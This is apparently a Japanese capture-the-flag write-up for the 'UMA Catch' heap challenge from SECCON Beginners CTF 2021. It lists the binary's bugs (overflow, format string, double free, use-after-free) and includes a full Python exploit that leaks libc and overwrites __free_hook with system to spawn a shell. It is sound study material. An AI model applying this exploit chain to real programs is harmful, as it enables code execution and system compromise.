# UMA Catch - SECCON Beginners CTF Online 2021
## 概要
バイナリはヒープ問っぽい見た目をしている。けどそんなことはない。
ソースコードが配られていないのでIDAで読む。
構造体がヒープに確保され、見た目はこんな感じ。
```
typedef struct {
char name[0x100];
void *func;
} Horse;
```
インデックスの指定は範囲外参照が可能。
`naming`関数に自明なBOFがある。PIEが無効なのでこれでなんとかなるんじゃないかなって感じ。
一応showにFSBもある。
あとdouble free, use after freeもある。やりたい放題。
## 解法
まぁ何やっても解けると思う。
ぱっと思いつくだけで、FSBで全部終わらせる方法、listの範囲外参照でstdioを書き換える方法、use-after-freeでtcache corruptする方法などなど。
まぁlibc-2.27なら一応どのlibcでも動くソルバを書く。
```python
from ptrlib import *
def new(index):
sock.sendlineafter("> ", "1")
sock.sendlineafter("> ", str(index))
sock.sendlineafter("> ", "bay")
def edit(index, name):
sock.sendlineafter("> ", "2")
sock.sendlineafter("> ", str(index))
sock.sendlineafter("> ", name)
def show(index):
sock.sendlineafter("> ", "3")
sock.sendlineafter("> ", str(index))
def ignite(index):
sock.sendlineafter("> ", "4")
sock.sendlineafter("> ", str(index))
def release(index):
sock.sendlineafter("> ", "5")
sock.sendlineafter("> ", str(index))
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./chall")
# leak
new(0)
edit(0, "%13$p")
show(0)
libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - 0xe7
logger.info("libc = " + hex(libc_base))
libc.set_base(libc_base)
# pwn
new(1)
release(1)
release(0)
edit(0, p64(libc.symbol('__free_hook')))
new(0)
edit(0, "/bin/sh\0")
new(1)
edit(1, p64(libc.symbol('system')))
release(0)
sock.interactive()
```
## 感想・意見
- 簡単で初心者にも良いと思う
- 一応githubのissueに載ってない解法がたくさん存在するけど、それは許容している感じかな?